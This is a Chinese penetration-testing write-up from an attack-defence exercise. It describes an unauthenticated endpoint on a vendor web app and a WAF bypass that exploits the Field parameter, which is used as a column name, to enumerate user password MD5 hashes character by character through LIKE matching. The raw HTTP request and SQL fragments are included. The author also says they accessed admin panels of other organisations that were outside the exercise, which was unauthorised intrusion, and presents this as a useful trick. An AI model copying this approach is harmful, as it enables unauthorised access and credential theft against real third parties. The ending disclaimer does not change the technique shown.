作者：Alivin原文地址：https://forum.butian.net/share/470

在参加某市攻防演练的时候，发现目标站，经过一系列尝试，包括弱口令、SQL注入等等尝试后，未获得到有效的入口点。在准备放弃之时，看到页脚的banner：xxxxx信息科技有限公司 [!...

在参加某市攻防演练的时候，发现目标站，经过一系列尝试，包括弱口令、SQL注入等等尝试后，未获得到有效的入口点。在准备放弃之时，看到页脚的banner：xxxxx信息科技有限公司

然后有了个想法，到fofa里面搜这个banner，找到一些其他使用该站的，但是没有参与攻防演练的（PS：演练前该单位做过整改弱口令全改了）。

经过尝试，果然皇天不负有心人，进入到了其他厂商的后台，于是开始寻找未授权就能访问的接口或者RCE点，脱代码来审计，从而获取目标权限。

找了一圈，后台没有直接RCE的点，无法脱代码来审计，但是发现了一个有趣的点：

此处查找联系人的接口，存在未授权访问，数据包为：

POST /HanNeng/SelectHelp HTTP/1.1
Content-Length: 29
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASP.NET_SessionId=vd11thy3qnmgz0h4dtyb51ra; rem=1192
Connection: close
Type=User&Field=UserName&Con=

经过测试发现该处不仅存在未授权访问，Field参数还存在注入。

直接给出部分sql语句：

select count(*) from tb_User where IsDeleted!=1 and Password'

测试过程中发现field是列名，证明如下：

当我认为可以sqlmap一把梭的时候，却发现了这该死的waf：

尝试绕过waf：

发现like附近语法错误,这时候想起来根据其他搜索方式，比如工号搜索的时候，应该是模糊匹配的：

发现Con参数的内容应该是进行了模糊匹配，也就是说sql语句可能是：

select count(*) from tb_User where IsDeleted!=1 and userid like '%可控点2%';

可控点2不存在注入，可控点1存在注入但是有waf，这时候就想到一个特别好玩的方法，我把field传入个password是否能获取到password密文呢？

然而并没有，所以呢，猜测此处是这样一个逻辑：

先执行sql语句，确定用户数量：

select count(*) from tb_User where IsDeleted!=1 and userid like '%可控点2%';

然后再执行sql语句筛选用户信息，工号和姓名：

select username,userid from tb_User where IsDeleted!=1 and userid like '%可控点2%';

所以肯定不可能直接把密码传出的，那么就没得搞了么？要么绕过waf，要么还能。。。

select count(*) from tb_User where IsDeleted!=1 and password like '%可控点2%';

这样我只需要构造payload：Type=User&Field=password&Con={遍历}就可以一位一位注入密码了，比如：

用户pageCount数量一直在减少，密码相同的用户一直在减少，但是这里要说明一个点，因为是%可控点%，所以123的前后都有可能有数据，当时我犯了这个错误，导致注入出的md5不全。注入出md5证明如下：

自此就可以和waf和平共存，你防你的大注入，我搞你的小密码。获取完整md5后解密即可登录后台。

声明：本公众号所分享内容仅用于网安爱好者之间的技术讨论，禁止用于违法途径，所有渗透都需获取授权！否则需自行承担，本公众号及原作者不承担相应的后果.

学习更多渗透技能！供靶场练习技能